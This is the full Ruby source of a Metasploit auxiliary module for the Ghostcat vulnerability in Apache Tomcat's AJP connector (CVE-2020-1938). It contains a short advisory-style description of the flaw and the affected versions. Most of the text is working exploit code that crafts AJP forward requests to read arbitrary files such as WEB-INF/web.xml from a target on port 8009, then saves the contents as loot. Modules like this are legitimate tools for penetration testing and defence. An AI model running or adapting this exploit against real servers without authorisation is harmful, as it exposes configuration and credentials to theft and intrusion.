Apache Tomcat AJP File Read

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rex/proto/apache_j_p'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Report  
  
ApacheJP = Rex::Proto::ApacheJP  
  
GhostCatResponse = Struct.new(:status, :headers, :body)  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Tomcat AJP File Read',  
'Description' => %q{  
When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache  
Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection.  
If such connections are available to an attacker, they can be exploited in ways that may be surprising.  
  
In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP  
Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended  
in the security guide) that this Connector would be disabled if not required. This vulnerability report  
identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application -  
processing any file in the web application as a JSP. Further, if the web application allowed file upload  
and stored those files within the web application (or the attacker was able to control the content of the  
web application by some other means) then this, along with the ability to process a file as a JSP, made  
remote code execution possible.  
  
It is important to note that mitigation is only required if an AJP port is accessible to untrusted users.  
Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files  
and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were  
made to the default AJP Connector configuration in 9.0.31 to harden the default configuration.  
It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes  
to their configurations.  
},  
'Author' => [  
'A Security Researcher of Chaitin Tech', # POC  
'SunCSR Team' # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2020-1938'],  
['EDB', '48143'],  
['URL', 'https://www.chaitin.cn/en/ghostcat']  
],  
'DisclosureDate' => '2020-02-20',  
'Notes' => {  
'AKA' => ['Ghostcat'],  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => []  
}  
)  
)  
register_options(  
[  
Opt::RPORT(8009, true, 'The Apache JServ Protocol (AJP) port'),  
OptString.new('FILENAME', [true, 'File name', '/WEB-INF/web.xml'])  
]  
)  
end  
  
def send_recv_once(data)  
buf = ''  
begin  
connect  
sock.put(data)  
buf = sock.get(30) || ''  
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e  
elog('Error socket', error: e)  
ensure  
disconnect  
end  
buf  
end  
  
def parse_response(buf)  
parsed_response = GhostCatResponse.new  
  
until buf.empty?  
chunk = buf[4...(4 + buf.unpack1('xxn'))]  
buf = buf[(4 + chunk.length)...]  
  
case chunk[0].ord  
when ApacheJP::ApacheJPSendBodyChunk::PREFIX_CODE  
send_body_chunk = ApacheJP::ApacheJPSendBodyChunk.read(chunk)  
parsed_response.body = send_body_chunk.body_chunk.to_s  
when ApacheJP::ApacheJPSendHeaders::PREFIX_CODE  
send_headers = ApacheJP::ApacheJPSendHeaders.read(chunk)  
parsed_response.status = send_headers.http_status_code.to_i  
parsed_response.headers = send_headers.headers.snapshot.map { |header| [header.header_name.to_s, header.header_value.to_s] }.to_h  
when ApacheJP::ApacheJPEndResponse::PREFIX_CODE  
break  
when ApacheJP::ApacheJPGetBodyChunk::PREFIX_CODE  
next # no need to process this chunk  
else  
fail_with(Failure::UnexpectedReply, "Received unknown AJP prefix code: #{chunk[0].ord}")  
end  
end  
  
parsed_response  
end  
  
def read_success?(ghost_cat_response)  
ghost_cat_response.status == 200  
end  
  
def read_remote_file  
ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new(  
http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_GET,  
req_uri: '/index.txt',  
remote_addr: '127.0.0.1',  
remote_host: 'localhost',  
server_name: datastore['RHOST'].to_s,  
headers: [  
{ header_name: 'host', header_value: "#{datastore['RHOST']}:8080" }  
],  
attributes: [  
{  
code: ApacheJP::ApacheJPRequestAttribute::CODE_REQ_ATTRIBUTE,  
attribute_name: 'javax.servlet.include.request_uri',  
attribute_value: 'index'  
},  
{  
code: ApacheJP::ApacheJPRequestAttribute::CODE_REQ_ATTRIBUTE,  
attribute_name: 'javax.servlet.include.path_info',  
attribute_value: datastore['FILENAME'].to_s  
},  
{  
code: ApacheJP::ApacheJPRequestAttribute::CODE_REQ_ATTRIBUTE,  
attribute_name: 'javax.servlet.include.servlet_path',  
attribute_value: '/'  
},  
{ code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR }  
]  
)  
  
data = "\x12\x34" + [ ajp_forward_request.num_bytes ].pack('n') + ajp_forward_request.to_binary_s  
parse_response(send_recv_once(data))  
end  
  
def check  
ghost_cat_response = read_remote_file  
if read_success?(ghost_cat_response)  
return Exploit::CheckCode::Appears("Successfully read file #{datastore['FILENAME']}")  
end  
  
Exploit::CheckCode::Safe  
rescue StandardError => e  
Exploit::CheckCode::Unknown(e.message)  
end  
  
def run  
ghost_cat_response = read_remote_file  
print ghost_cat_response.body unless ghost_cat_response.body.blank?  
  
unless read_success?(ghost_cat_response)  
print_error 'Unable to read file, target may not be vulnerable.'  
end  
  
file = store_loot(  
datastore['FILENAME'].to_s, 'text/plain', datastore['RHOST'].to_s,  
ghost_cat_response.body, 'Ghostcat File Read/Inclusion', 'Read file', datastore['FILENAME']  
)  
print_good "File contents save to: #{file}"  
end  
end  
`